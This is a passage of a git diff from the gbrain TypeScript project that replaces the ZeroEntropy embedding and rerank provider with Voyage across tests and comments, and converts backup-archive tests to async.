- `self-hosted ZE-wire-compatible server, the hosted shutdown does not break it —`,
- );
- lines.push(
- `but the zeroentropyai provider id is still slated for removal (see the`,
- );
- lines.push(`self-host continuity TODO in the playbook) — plan a migration anyway.`);
- }
- lines.push(`Nothing has been changed automatically; this brain keeps working until the date.`);
- lines.push(`Agent playbook: skills/migrations/v0.46.3.0.md`);
- return lines.join('\n');
-}
diff --git a/src/eval/shared/embed-cache.ts b/src/eval/shared/embed-cache.ts
index 06784d996e..a0c6a5d7d6 100644
--- a/src/eval/shared/embed-cache.ts
+++ b/src/eval/shared/embed-cache.ts
@@ -1,42 +1,3 @@
-/**
- * embed-cache.ts — content-addressed embedding cache for fixed-corpus evals.
- *
- * INVARIANT: a cached vector is served ONLY for the exact (model@dims, text,
- * side) it was computed for, and every row is integrity-checked on read
- * (declared dims == stored byte length / 4 == vector length). A mismatch is a
- * HARD error naming the file and the key — never a silent re-embed, because a
- * silently corrupted cache would make every arm's vectors non-comparable.
- *
- * Why it exists: every LongMemEval arm re-embeds the same ~500-question
- * haystack (~$2, ~2 h cold). One shared cache makes every arm see
- * byte-identical vectors, so paired deltas measure the ranking change and
- * nothing else. The canonical hash (`canonicalSha256`) goes into each
- * receipt's `run_config.cache` so two runs can prove they saw the same
- * vectors (plan D18).
- *
- * Key = `${model}@${dims}` + (`#query` for query-side asymmetric embeds) +
- * ':' + sha256(text). The side marker lives in the model segment so the
- * default (document / symmetric) key is exactly `model@dims:sha256(text)` and
- * asymmetric providers (zembed-1, Voyage v3+) can never be served a
- * document-side vector for a query-side embed (sibling audit longmemeval-06).
- *
- * Storage: bun:sqlite, WAL journal + synchronous=NORMAL (eng D7), one
- * transaction per question's embeds via `withTransaction`. Local filesystem
- * only (WAL sidecars), never NFS.
- *
- * TRANSPORT SEAM (eng D3): this wave installs the cache through the gateway's
- * existing test seam `__setEmbedTransportForTests` — deliberately. gateway.ts
- * sits at its module-size ceiling and the sibling gbrain-evals runner set the
- * precedent (eval/runner/longmemeval-cache.ts). Promoting this to a named
- * `setEmbedTransport()` / `GBRAIN_EMBED_CACHE_DIR` hook is a filed P3
- * follow-up. Because the seam exposes no getter for the current transport,
- * `installEmbedCache` restores `opts.realTransport ?? null` (the real SDK
- * `embedMany`) on uninstall — pass the previous transport explicitly when a
- * caller had already swapped it.
- *
- * Port of gbrain-evals `eval/runner/longmemeval-cache.ts` onto gbrain's seam.
- */
-
import { Database } from 'bun:sqlite';
import { createHash } from 'node:crypto';
import { closeSync, mkdirSync, openSync, readSync } from 'node:fs';
diff --git a/templates/bootstrap/template-repo/README.md b/templates/bootstrap/template-repo/README.md
index ebc77ce549..f12e3954dc 100644
--- a/templates/bootstrap/template-repo/README.md
+++ b/templates/bootstrap/template-repo/README.md
@@ -1,6 +1,6 @@
# gbrain agent workspace — template
-<!-- gbrain-template-stamp: 0.56.1.0 -->
+<!-- gbrain-template-stamp: 0.56.2.0 -->
This repository is the **"Use this template"** distribution artifact for a
[gbrain](https://github.com/garrytan/gbrain) personal-agent workspace — the same
diff --git a/test/advisor-cli.test.ts b/test/advisor-cli.test.ts
index 6b1c32d4d4..4db60d9ccd 100644
--- a/test/advisor-cli.test.ts
+++ b/test/advisor-cli.test.ts
@@ -25,6 +25,8 @@
import { describe, test, expect, spyOn } from 'bun:test';
import * as childProcess from 'child_process';
+import { mkdirSync, writeFileSync } from 'node:fs';
+import { join } from 'node:path';
import { runAdvisorCli } from '../src/commands/advisor.ts';
import { LATEST_VERSION } from '../src/core/migrate.ts';
@@ -39,11 +41,14 @@ import { withEnv, emptyHome } from './helpers/with-env.ts';
* warn leak). */
const EMBED_KEY_NAME = getRecipe(DEFAULT_EMBEDDING_MODEL.split(':')[0]!)?.auth_env?.required?.[0];
-/** Fresh hermetic env per call: empty GBRAIN_HOME + the embed key present. */
+/** Fresh hermetic env per call: an explicit supported model and its embed key. */
function hermeticEnv(): Record<string, string | undefined> {
+ const home = emptyHome();
+ mkdirSync(join(home, '.gbrain'));
+ writeFileSync(join(home, '.gbrain', 'config.json'), JSON.stringify({ engine: 'pglite', embedding_model: DEFAULT_EMBEDDING_MODEL }));
return {
- GBRAIN_HOME: emptyHome(),
- GBRAIN_EMBEDDING_MODEL: undefined, // effective model = DEFAULT_EMBEDDING_MODEL
+ GBRAIN_HOME: home,
+ GBRAIN_EMBEDDING_MODEL: undefined,
...(EMBED_KEY_NAME ? { [EMBED_KEY_NAME]: 'test-key-advisor-cli' } : {}),
};
}
diff --git a/test/agent-install-backup.serial.test.ts b/test/agent-install-backup.serial.test.ts
index 8ba40106e3..d91499de2b 100644
--- a/test/agent-install-backup.serial.test.ts
+++ b/test/agent-install-backup.serial.test.ts
@@ -241,7 +241,7 @@ test('full backup restores DB-only facts/files, rebases sources, quarantines all
// Neither may recursively include an older installation's private payload.
const renamedArchive = join(root, 'memory', 'renamed-prior-snapshot');
rmSync(renamedArchive);
- writeBackupArchive(renamedArchive, {}, [{ path: 'private-record', file: join(root, 'memory', 'prior.gbrain-backup') }]);
+ await writeBackupArchive(renamedArchive, {}, [{ path: 'private-record', file: join(root, 'memory', 'prior.gbrain-backup') }]);
writeFileSync(join(root, 'memory', 'credentials.md'), '# Remembered credential rotation procedure\nNo actual credential.\n');
const connectorCommandMarker = join(temporary, 'connector-command-ran');
await withFixtureWrite(root, ['google-fixture'], async engine => {
diff --git a/test/agent-install.test.ts b/test/agent-install.test.ts
index 429f99ef45..58653315f5 100644
--- a/test/agent-install.test.ts
+++ b/test/agent-install.test.ts
@@ -105,26 +105,26 @@ test('generated executable launcher really scrubs environment and survives a hos
expect(output.split('\n')).toEqual([temporary, 'host', 'default', '', 'unset', temporary, '--brain', 'host', 'recall', 'example', '']);
});
-test('private archive round trip verifies exact bytes and refuses an existing output', () => {
+test('private archive round trip verifies exact bytes and refuses an existing output', async () => {
const source = join(temporary, 'source'); writeFileSync(source, 'private memory\n');
const archive = join(temporary, 'snapshot.gbrain-backup');
- writeBackupArchive(archive, { kind: 'test' }, [{ path: 'memory/fact.txt', file: source }]);
+ await writeBackupArchive(archive, { kind: 'test' }, [{ path: 'memory/fact.txt', file: source }]);
expect(statSync(archive).mode & 0o777).toBe(0o600);
- expect(() => writeBackupArchive(archive, {}, [{ path: 'other', file: source }])).toThrow();
+ await expect(writeBackupArchive(archive, {}, [{ path: 'other', file: source }])).rejects.toThrow();
const into = join(temporary, 'into'); mkdirSync(into, { mode: 0o700 });
readBackupArchive(archive, into);
expect(readFileSync(join(into, 'memory', 'fact.txt'), 'utf8')).toBe('private memory\n');
expect(statSync(join(into, 'memory', 'fact.txt')).mode & 0o777).toBe(0o600);
});
-test('corrupt archive fails checksum and untrusted manifest paths cannot escape', () => {
+test('corrupt archive fails checksum and untrusted manifest paths cannot escape', async () => {
const source = join(temporary, 'source'); writeFileSync(source, 'original');
const archive = join(temporary, 'snapshot');
- writeBackupArchive(archive, {}, [{ path: 'memory', file: source }]);
+ await writeBackupArchive(archive, {}, [{ path: 'memory', file: source }]);
const bytes = readFileSync(archive); bytes[bytes.length - 1] ^= 1; writeFileSync(archive, bytes);
const into = join(temporary, 'into'); mkdirSync(into);
expect(() => readBackupArchive(archive, into)).toThrow('checksum');
- expect(() => writeBackupArchive(join(temporary, 'unsafe'), {}, [{ path: '../escaped', file: source }])).toThrow();
+ await expect(writeBackupArchive(join(temporary, 'unsafe'), {}, [{ path: '../escaped', file: source }])).rejects.toThrow();
expect(existsSync(join(temporary, 'escaped'))).toBe(false);
});
diff --git a/test/ai/build-gateway-config.test.ts b/test/ai/build-gateway-config.test.ts
index 5ff76c81db..4006944d9a 100644
--- a/test/ai/build-gateway-config.test.ts
+++ b/test/ai/build-gateway-config.test.ts
@@ -121,7 +121,7 @@ describe('buildGatewayConfig config-plane API-key folding', () => {
// #2662: voyage_api_key was accepted at the file plane (config.json) but
// never folded into the gateway env, so daemons/launchd/MCP callers with
// no process-env export silently failed multimodal embeds. Same fold
- // pattern as zeroentropy/openrouter above.
+ // pattern as Voyage/openrouter above.
test('voyage_api_key folds into gateway env as VOYAGE_API_KEY', async () => {
await withEnv({ VOYAGE_API_KEY: undefined }, async () => {
const cfg = buildGatewayConfig({
diff --git a/test/ai/dims-input-type.test.ts b/test/ai/dims-input-type.test.ts
new file mode 100644
index 0000000000..03e6083eb2
--- /dev/null
+++ b/test/ai/dims-input-type.test.ts
@@ -0,0 +1,34 @@
+import { describe, test, expect } from 'bun:test';
+import { dimsProviderOptions } from '../../src/core/ai/dims.ts';
+
+describe('CDX2-F6: per-model inputType filtering', () => {
+ test('OpenAI text-embedding-3-large IGNORES inputType (symmetric provider)', () => {
+ // Pass inputType='query' and confirm input_type does NOT reach the
+ // provider-options blob. OpenAI's /embeddings endpoint would reject
+ // an unexpected field; the test pins the absence.
+ const opts = dimsProviderOptions('native-openai', 'text-embedding-3-large', 1536, 'query');
+ expect(opts).toEqual({ openai: { dimensions: 1536 } });
+ expect(JSON.stringify(opts)).not.toContain('input_type');
+ });
+
+ test('OpenAI text-embedding-3 on openai-compat adapter ignores inputType', () => {
+ // Azure OpenAI sometimes hosts text-embedding-3 via openai-compat.
+ // input_type would be rejected.
+ const opts = dimsProviderOptions('openai-compatible', 'text-embedding-3-large', 1536, 'query');
+ expect(opts).toEqual({ openaiCompatible: { dimensions: 1536 } });
+ expect(JSON.stringify(opts)).not.toContain('input_type');
+ });
+
+ test('Voyage models accept inputType when explicitly threaded', () => {
+ // Voyage v4 + v3 accept input_type. inputType undefined → no field
+ // (back-compat for pre-v0.35.0.0 tests); inputType='query' → field present.
+ const optsDefault = dimsProviderOptions('openai-compatible', 'voyage-3-large', 1024);
+ expect(optsDefault).toEqual({ openaiCompatible: { dimensions: 1024 } });
+ expect(JSON.stringify(optsDefault)).not.toContain('input_type');
+
+ const optsQuery = dimsProviderOptions('openai-compatible', 'voyage-3-large', 1024, 'query');
+ expect(optsQuery).toEqual({
+ openaiCompatible: { dimensions: 1024, input_type: 'query' },
+ });
+ });
+});
diff --git a/test/ai/dims-openai.test.ts b/test/ai/dims-openai.test.ts
index 82e480d730..3583639697 100644
--- a/test/ai/dims-openai.test.ts
+++ b/test/ai/dims-openai.test.ts
@@ -10,7 +10,7 @@
* openai-compatible path (line 167) — Azure-OpenAI hosts text-3 via the
* compat adapter, same validation contract there.
*
- * Why: the v0.36.0.0 wave flips the default embedding to ZE at 1024d. The
+ * Why: the v0.36.0.0 wave flips the default embedding to Voyage at 1024d. The
* fallback path is OpenAI text-embedding-3-large at 1024d (also valid per
* Matryoshka). Without range validation, a user who mis-configures
* `embedding_dimensions=5000` against text-embedding-3-small gets opaque
@@ -34,7 +34,7 @@ describe('OpenAI text-embedding-3 model recognition', () => {
test('isOpenAITextEmbedding3Model rejects ada-002 and unrelated', () => {
expect(isOpenAITextEmbedding3Model('text-embedding-ada-002')).toBe(false);
- expect(isOpenAITextEmbedding3Model('zembed-1')).toBe(false);
+ expect(isOpenAITextEmbedding3Model('fixture-embedding-v1')).toBe(false);
expect(isOpenAITextEmbedding3Model('voyage-3-large')).toBe(false);
});
diff --git a/test/ai/dims-zeroentropy.test.ts b/test/ai/dims-zeroentropy.test.ts
deleted file mode 100644
index 1dba6812ed..0000000000
--- a/test/ai/dims-zeroentropy.test.ts
+++ /dev/null
@@ -1,121 +0,0 @@
-/**
- * v0.35.0.0+ dim validator + 4th-arg inputType plumbing tests.
- *
- * Pins:
- * - ZE valid dim allowlist (CDX1-F-equivalent for zembed-1)
- * - dimsProviderOptions returns input_type='document' default for ZE
- * - dimsProviderOptions returns input_type='query' when threaded
- * - dimsProviderOptions DROPS input_type for OpenAI text-3 (per-model
- * filtering, NOT generic openai-compat — CDX2-F6)
- * - dim validator throws AIConfigError for invalid dim
- */
-
-import { describe, test, expect } from 'bun:test';
-import {
- dimsProviderOptions,
- isValidZeroEntropyDim,
- ZEROENTROPY_VALID_DIMS,
- supportsZeroEntropyDimension,
-} from '../../src/core/ai/dims.ts';
-import { AIConfigError } from '../../src/core/ai/errors.ts';
-
-describe('ZE dim allowlist', () => {
- test('exposes all 7 valid Matryoshka steps', () => {
- expect([...ZEROENTROPY_VALID_DIMS]).toEqual([2560, 1280, 640, 320, 160, 80, 40]);
- });
-
- test('isValidZeroEntropyDim accepts every allowlist value', () => {
- for (const d of ZEROENTROPY_VALID_DIMS) {
- expect(isValidZeroEntropyDim(d)).toBe(true);
- }
- });
-
- test('isValidZeroEntropyDim rejects non-allowlist values', () => {
- expect(isValidZeroEntropyDim(1024)).toBe(false); // common OpenAI default — catches the bug class
- expect(isValidZeroEntropyDim(1536)).toBe(false); // DEFAULT_EMBEDDING_DIMENSIONS
- expect(isValidZeroEntropyDim(3072)).toBe(false);
- expect(isValidZeroEntropyDim(100)).toBe(false);
- });
-
- test('supportsZeroEntropyDimension(zembed-1)', () => {
- expect(supportsZeroEntropyDimension('zembed-1')).toBe(true);
- expect(supportsZeroEntropyDimension('zerank-2')).toBe(false);
- expect(supportsZeroEntropyDimension('text-embedding-3-large')).toBe(false);
- });
-});
-
-describe('dimsProviderOptions — ZE branch', () => {
- test('default inputType: emits input_type=document', () => {
- const opts = dimsProviderOptions('openai-compatible', 'zembed-1', 2560);
- expect(opts).toEqual({
- openaiCompatible: { dimensions: 2560, input_type: 'document' },
- });
- });
-
- test('inputType=query: emits input_type=query', () => {
- const opts = dimsProviderOptions('openai-compatible', 'zembed-1', 1280, 'query');
- expect(opts).toEqual({
- openaiCompatible: { dimensions: 1280, input_type: 'query' },
- });
- });
-
- test('inputType=document: emits input_type=document', () => {
- const opts = dimsProviderOptions('openai-compatible', 'zembed-1', 640, 'document');
- expect(opts).toEqual({
- openaiCompatible: { dimensions: 640, input_type: 'document' },
- });
- });
-
- test('throws AIConfigError for dim=1024 (catches the silent-default bug)', () => {
- expect(() => dimsProviderOptions('openai-compatible', 'zembed-1', 1024)).toThrow(AIConfigError);
- });
-
- test('throws AIConfigError for dim=3072', () => {
- expect(() => dimsProviderOptions('openai-compatible', 'zembed-1', 3072)).toThrow(AIConfigError);
- });
-
- test('error message names valid dims for paste-ready fix', () => {
- try {
- dimsProviderOptions('openai-compatible', 'zembed-1', 1024);
- throw new Error('should have thrown');
- } catch (err) {
- expect(err).toBeInstanceOf(AIConfigError);
- const msg = (err as Error).message;
- // Lists the 7 valid dims so the user can copy-paste a valid value.
- expect(msg).toContain('2560');
- expect(msg).toContain('40');
- }
- });
-});
-
-describe('CDX2-F6: per-model inputType filtering', () => {
- test('OpenAI text-embedding-3-large IGNORES inputType (symmetric provider)', () => {
- // Pass inputType='query' and confirm input_type does NOT reach the
- // provider-options blob. OpenAI's /embeddings endpoint would reject
- // an unexpected field; the test pins the absence.
- const opts = dimsProviderOptions('native-openai', 'text-embedding-3-large', 1536, 'query');
- expect(opts).toEqual({ openai: { dimensions: 1536 } });
- expect(JSON.stringify(opts)).not.toContain('input_type');
- });
-
- test('OpenAI text-embedding-3 on openai-compat adapter ignores inputType', () => {
- // Azure OpenAI sometimes hosts text-embedding-3 via openai-compat.
- // input_type would be rejected.
- const opts = dimsProviderOptions('openai-compatible', 'text-embedding-3-large', 1536, 'query');
- expect(opts).toEqual({ openaiCompatible: { dimensions: 1536 } });
- expect(JSON.stringify(opts)).not.toContain('input_type');
- });
-
- test('Voyage models accept inputType when explicitly threaded', () => {
- // Voyage v4 + v3 accept input_type. inputType undefined → no field
- // (back-compat for pre-v0.35.0.0 tests); inputType='query' → field present.
- const optsDefault = dimsProviderOptions('openai-compatible', 'voyage-3-large', 1024);
- expect(optsDefault).toEqual({ openaiCompatible: { dimensions: 1024 } });
- expect(JSON.stringify(optsDefault)).not.toContain('input_type');
-
- const optsQuery = dimsProviderOptions('openai-compatible', 'voyage-3-large', 1024, 'query');
- expect(optsQuery).toEqual({
- openaiCompatible: { dimensions: 1024, input_type: 'query' },
- });
- });
-});
diff --git a/test/ai/embedQuery.test.ts b/test/ai/embedQuery.test.ts
index d6ef42d0b8..a6e6c0979f 100644
--- a/test/ai/embedQuery.test.ts
+++ b/test/ai/embedQuery.test.ts
@@ -11,9 +11,9 @@
* side without a code change.
* - For symmetric providers (OpenAI text-3, DashScope), embedQuery does
* NOT inject input_type into the provider options (CDX2-F6 per-model
- * filtering pinned at the dims-zeroentropy.test.ts layer; this test
+ * filtering pinned at the dims-input-type.test.ts layer; this test
* confirms the gateway end-to-end stays consistent).
- * - For ZE zembed-1, embedQuery produces input_type='query'.
+ * - For Voyage voyage-4, embedQuery produces input_type='query'.
*/
import { describe, test, expect, afterEach, beforeEach } from 'bun:test';
@@ -25,11 +25,11 @@ import {
__setEmbedTransportForTests,
} from '../../src/core/ai/gateway.ts';
-function configureZE(): void {
+function configureVoyage4(): void {
configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 2560,
- env: { ZEROENTROPY_API_KEY: 'sk-fake' },
+ embedding_model: 'voyage:voyage-4',
+ embedding_dimensions: 1024,
+ env: { VOYAGE_API_KEY: 'sk-fake' },
});
}
@@ -63,13 +63,13 @@ afterEach(() => {
});
describe('embedQuery — return shape', () => {
- beforeEach(() => configureZE());
+ beforeEach(() => configureVoyage4());
test('returns a single Float32Array (not a batch)', async () => {
- __setEmbedTransportForTests((async () => fakeEmbeddings(1, 2560)) as any);
+ __setEmbedTransportForTests((async () => fakeEmbeddings(1, 1024)) as any);
const v = await embedQuery('hello');
expect(v).toBeInstanceOf(Float32Array);
- expect(v.length).toBe(2560);
+ expect(v.length).toBe(1024);
// Index sentinel matches input position 0.
expect(v[0]).toBe(0);
});
@@ -97,27 +97,27 @@ describe('embed — input truncation', () => {
});
});
-describe('embedQuery — inputType plumbing (ZE asymmetric)', () => {
- beforeEach(() => configureZE());
+describe('embedQuery — inputType plumbing (Voyage asymmetric)', () => {
+ beforeEach(() => configureVoyage4());
test('embedQuery sends input_type=query in providerOptions', async () => {
let capturedOpts: any = null;
__setEmbedTransportForTests((async (args: any) => {
capturedOpts = args.providerOptions;
- return fakeEmbeddings(1, 2560);
+ return fakeEmbeddings(1, 1024);
}) as any);
await embedQuery('hello');
expect(capturedOpts?.openaiCompatible?.input_type).toBe('query');
- expect(capturedOpts?.openaiCompatible?.dimensions).toBe(2560);
+ expect(capturedOpts?.openaiCompatible?.dimensions).toBe(1024);
});
- test('embed() (no inputType arg) sends input_type=document for ZE', async () => {
+ test('embed() with document inputType sends input_type=document', async () => {
let capturedOpts: any = null;
__setEmbedTransportForTests((async (args: any) => {
capturedOpts = args.providerOptions;
- return fakeEmbeddings(args.values.length, 2560);
+ return fakeEmbeddings(args.values.length, 1024);
}) as any);
- await embed(['doc']);
+ await embed(['doc'], { inputType: 'document' });
expect(capturedOpts?.openaiCompatible?.input_type).toBe('document');
});
@@ -125,7 +125,7 @@ describe('embedQuery — inputType plumbing (ZE asymmetric)', () => {
let capturedOpts: any = null;
__setEmbedTransportForTests((async (args: any) => {
capturedOpts = args.providerOptions;
- return fakeEmbeddings(args.values.length, 2560);
+ return fakeEmbeddings(args.values.length, 1024);
}) as any);
await embed(['q1', 'q2'], { inputType: 'query' });
expect(capturedOpts?.openaiCompatible?.input_type).toBe('query');
@@ -142,7 +142,7 @@ describe('embedQuery — per-model filtering (CDX2-F6, end-to-end)', () => {
}) as any);
await embedQuery('hello');
// OpenAI's /embeddings endpoint would reject an unexpected input_type
- // field. The CDX2-F6 fix puts the ZE/Voyage branches BEFORE the generic
+ // field. The CDX2-F6 fix puts the Voyage branches BEFORE the generic
// text-embedding-3 fall-through; this end-to-end test pins the absence.
expect(capturedOpts?.openai?.dimensions).toBe(1536);
expect(JSON.stringify(capturedOpts)).not.toContain('input_type');
@@ -179,20 +179,20 @@ describe('embedQuery — per-model filtering (CDX2-F6, end-to-end)', () => {
});
describe('embedQuery — routes through same recipe as embed', () => {
- beforeEach(() => configureZE());
+ beforeEach(() => configureVoyage4());
- test('embedQuery + embed both use the configured ZE model', async () => {
+ test('embedQuery + embed both use the configured Voyage model', async () => {
const dimsSeen: number[] = [];
__setEmbedTransportForTests((async (args: any) => {
// The args.model in the AI-SDK transport is the model instance; we
// can stringify a canonical name via the provider/recipe — easier
- // to just confirm the dims and providerOptions match the ZE config.
+ // to just confirm the dims and providerOptions match the Voyage config.
dimsSeen.push(args.providerOptions?.openaiCompatible?.dimensions);
- return fakeEmbeddings(args.values.length, 2560);
+ return fakeEmbeddings(args.values.length, 1024);
}) as any);
await embedQuery('q');
await embed(['d']);
// Both calls routed through the same recipe + dim config.
- expect(dimsSeen).toEqual([2560, 2560]);
+ expect(dimsSeen).toEqual([1024, 1024]);
});
});
diff --git a/test/ai/gateway-openai-prompt-cache-key.test.ts b/test/ai/gateway-openai-prompt-cache-key.test.ts
index 8d49e56b2e..affaf873fb 100644
--- a/test/ai/gateway-openai-prompt-cache-key.test.ts
+++ b/test/ai/gateway-openai-prompt-cache-key.test.ts
@@ -16,7 +16,7 @@
* nothing), and config `provider_chat_options` overrides the derived key
*/
-import { describe, test, expect, beforeEach } from 'bun:test';
+import { describe, test, expect, beforeEach, afterEach } from 'bun:test';
import {
chat,
configureGateway,
@@ -56,6 +56,11 @@ describe('chat() wiring — prompt_cache_key per provider', () => {
__setGenerateTextTransportForTests(null);
});
+ afterEach(() => {
+ __setGenerateTextTransportForTests(null);
+ resetGateway();
+ });
+
async function captureProviderOptions(
config: Parameters<typeof configureGateway>[0],
opts: Partial<Parameters<typeof chat>[0]> = {},
diff --git a/test/ai/gateway-reset-baseline.test.ts b/test/ai/gateway-reset-baseline.test.ts
index db521f659f..c2f425f205 100644
--- a/test/ai/gateway-reset-baseline.test.ts
+++ b/test/ai/gateway-reset-baseline.test.ts
@@ -5,9 +5,9 @@
* gateway to openai:text-embedding-3-large @ 1536 at process start and
* registers that config as the reset baseline. Before the fix,
* resetGateway() wiped the pin to _config = null; the next file's beforeAll
- * engine-connect then reconfigured from the SHIPPED default (zembed-1 @
- * 1280) and every 1536-d fixture in that file failed with
- * `expected 1280 dimensions, not 1536`. Which file pairs collided depended
+ * engine-connect then reconfigured from the SHIPPED default (voyage-4 @
+ * 1024) and every 1536-d fixture in that file failed with
+ * `expected 1024 dimensions, not 1536`. Which file pairs collided depended
* on shard bin-packing, so adding ANY test file reshuffled the mines.
*
* These assertions pin the contract so it cannot silently rot again.
@@ -34,11 +34,11 @@ describe('resetGateway baseline restore (#3554)', () => {
test('resetGateway() overwrites a file-local config back to the baseline', () => {
configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 1280,
+ embedding_model: 'voyage:voyage-4',
+ embedding_dimensions: 1024,
env: {},
});
- expect(getEmbeddingDimensions()).toBe(1280);
+ expect(getEmbeddingDimensions()).toBe(1024);
resetGateway();
expect(getEmbeddingModel()).toBe('openai:text-embedding-3-large');
expect(getEmbeddingDimensions()).toBe(1536);
diff --git a/test/ai/gateway.test.ts b/test/ai/gateway.test.ts
index 81ae08e6e9..9c75d107ee 100644
--- a/test/ai/gateway.test.ts
+++ b/test/ai/gateway.test.ts
@@ -46,13 +46,13 @@ describe('gateway configuration', () => {
expect(getExpansionModel()).toBe('anthropic:claude-haiku-4-5-20251001');
});
- test('defaults are ZE 1280d as of v0.36.0.0 (D3)', () => {
+ test('defaults are Voyage 1024d as of v0.36.0.0 (D3)', () => {
// The default flipped from openai:text-embedding-3-large 1536d to
- // zeroentropyai:zembed-1 1280d in v0.36.0.0. The cost story is in
+ // voyage:voyage-4 1024d in v0.36.0.0. The cost story is in
// CHANGELOG.md; the rationale lives in src/core/ai/gateway.ts:45-54.
configureGateway({ env: {} });
- expect(getEmbeddingModel()).toBe('zeroentropyai:zembed-1');
- expect(getEmbeddingDimensions()).toBe(1280);
+ expect(getEmbeddingModel()).toBe('voyage:voyage-4');
+ expect(getEmbeddingDimensions()).toBe(1024);
expect(getExpansionModel()).toBe('anthropic:claude-haiku-4-5-20251001');
});
});
diff --git a/test/ai/rerank.test.ts b/test/ai/rerank.test.ts
index fbdb0f7d44..376698a8ce 100644
--- a/test/ai/rerank.test.ts
+++ b/test/ai/rerank.test.ts
@@ -5,11 +5,11 @@
* (the canonical test seam — same pattern as `__setEmbedTransportForTests`).
*
* Pins:
- * - Request URL is `${recipe.base_url_default}/models/rerank` — i.e.
- * `https://api.zeroentropy.dev/v1/models/rerank`, NOT `/v1/v1/…`
+ * - Request URL is `${recipe.base_url_default}/rerank` — i.e.
+ * `https://api.voyageai.com/v1/rerank`, NOT `/v1/v1/…`
* (CDX1-F2 regression).
* - Request body shape: `{model, query, documents, top_n?}`.
- * - Bearer auth header from `applyResolveAuth` ↔ ZEROENTROPY_API_KEY.
+ * - Bearer auth header from `applyResolveAuth` ↔ VOYAGE_API_KEY.
* - Response parsing: `{results: [{index, relevance_score}]}` →
* `RerankResult[]` with `{index, relevanceScore}`.
* - Error classification: 401/403 → auth, 429 → rate_limit, 5xx → network,
@@ -29,21 +29,12 @@ import {
rerank,
RerankError,
__setRerankTransportForTests,
- __setSunsetClockForTests,
} from '../../src/core/ai/gateway.ts';
-// Pin a pre-sunset clock: this suite exercises zerank through the transport,
-// and past ZEROENTROPY_SUNSET_DATE (2026-09-04) the real clock would make
-// gateway.rerank short-circuit before the transport — turning every test
-// here into a deterministic wall-clock time bomb.
-const BEFORE_SUNSET = new Date('2026-09-01T00:00:00Z');
-beforeEach(() => __setSunsetClockForTests(() => BEFORE_SUNSET));
-afterEach(() => __setSunsetClockForTests(null));
-
-function configureZE(model: string = 'zeroentropyai:zerank-2'): void {
+function configureVoyage(model: string = 'voyage:rerank-2.5'): void {
configureGateway({
reranker_model: model,
- env: { ZEROENTROPY_API_KEY: 'sk-test-zerokey' },
+ env: { VOYAGE_API_KEY: 'sk-test-zerokey' },
});
}
@@ -60,7 +51,7 @@ afterEach(() => {
});
describe('gateway.rerank() — happy path', () => {
- beforeEach(() => configureZE());
+ beforeEach(() => configureVoyage());
test('sends the right URL (CDX1-F2 — no /v1/v1/ doubling)', async () => {
let capturedUrl = '';
@@ -69,7 +60,7 @@ describe('gateway.rerank() — happy path', () => {
return mockResp({ results: [{ index: 0, relevance_score: 0.9 }] });
});
await rerank({ query: 'q', documents: ['d'] });
- expect(capturedUrl).toBe('https://api.zeroentropy.dev/v1/models/rerank');
+ expect(capturedUrl).toBe('https://api.voyageai.com/v1/rerank');
expect(capturedUrl).not.toContain('/v1/v1/');
});
@@ -81,24 +72,25 @@ describe('gateway.rerank() — happy path', () => {
});
await rerank({ query: 'q', documents: ['d1', 'd2'], topN: 5 });
expect(captured).toEqual({
- model: 'zerank-2',
+ model: 'rerank-2.5',
query: 'q',
documents: ['d1', 'd2'],
- top_n: 5,
+ top_k: 5,
});
});
- test('omits top_n when not provided', async () => {
+ test('omits top_k when not provided', async () => {
let captured: any = null;
__setRerankTransportForTests(async (_url, init) => {
captured = JSON.parse(init.body as string);
return mockResp({ results: [{ index: 0, relevance_score: 0.5 }] });
});
await rerank({ query: 'q', documents: ['d'] });
+ expect('top_k' in captured).toBe(false);
expect('top_n' in captured).toBe(false);
});
- test('uses Bearer auth from ZEROENTROPY_API_KEY', async () => {
+ test('uses Bearer auth from VOYAGE_API_KEY', async () => {
let authHeader = '';
__setRerankTransportForTests(async (_url, init) => {
const headers = new Headers(init.headers as HeadersInit);
@@ -144,8 +136,8 @@ describe('gateway.rerank() — happy path', () => {
bodyModel = JSON.parse(init.body as string).model;
return mockResp({ results: [{ index: 0, relevance_score: 0.5 }] });
});
- await rerank({ query: 'q', documents: ['d'], model: 'zeroentropyai:zerank-1-small' });
- expect(bodyModel).toBe('zerank-1-small');
+ await rerank({ query: 'q', documents: ['d'], model: 'voyage:rerank-2.5-lite' });
+ expect(bodyModel).toBe('rerank-2.5-lite');
});
test('empty documents returns [] without HTTP call', async () => {
@@ -161,11 +153,11 @@ describe('gateway.rerank() — happy path', () => {
});
describe('gateway.rerank() — error classification', () => {
- beforeEach(() => configureZE());
+ beforeEach(() => configureVoyage());
test('missing required reranker API key → RerankError(no_key) before HTTP call (v0.48.2; auth = key present but rejected)', async () => {
configureGateway({
- reranker_model: 'zeroentropyai:zerank-2',
+ reranker_model: 'voyage:rerank-2.5',
env: {},
});
let called = false;
@@ -180,7 +172,7 @@ describe('gateway.rerank() — error classification', () => {
} catch (err) {
expect(err).toBeInstanceOf(RerankError);
expect((err as RerankError).reason).toBe('no_key');
- expect((err as Error).message).toContain('ZEROENTROPY_API_KEY');
+ expect((err as Error).message).toContain('VOYAGE_API_KEY');
expect(called).toBe(false);
}
});
@@ -261,7 +253,7 @@ describe('gateway.rerank() — error classification', () => {
});
describe('gateway.rerank() — payload-too-large pre-flight (no HTTP call)', () => {
- beforeEach(() => configureZE());
+ beforeEach(() => configureVoyage());
test('body over max_payload_bytes throws payload_too_large WITHOUT transport call', async () => {
let called = false;
@@ -269,7 +261,7 @@ describe('gateway.rerank() — payload-too-large pre-flight (no HTTP call)', ()
called = true;
return mockResp({ results: [] });
});
- // ZE's max_payload_bytes is 5MB. 6MB body easily exceeds.
+ // Voyage's max_payload_bytes is 5MB. 6MB body easily exceeds.
const huge = 'x'.repeat(6 * 1024 * 1024);
try {
await rerank({ query: 'q', documents: [huge] });
@@ -297,7 +289,7 @@ describe('gateway.rerank() — payload-too-large pre-flight (no HTTP call)', ()
describe('gateway.rerank() — allowlist enforcement (CDX2-F11)', () => {
test('rejects model not in recipe touchpoint.models[]', async () => {
- configureZE();
+ configureVoyage();
let called = false;
__setRerankTransportForTests(async () => {
called = true;
@@ -307,7 +299,7 @@ describe('gateway.rerank() — allowlist enforcement (CDX2-F11)', () => {
await rerank({
query: 'q',
documents: ['d'],
- model: 'zeroentropyai:zerank-fake-99',
+ model: 'voyage:rerank-fake-99',
});
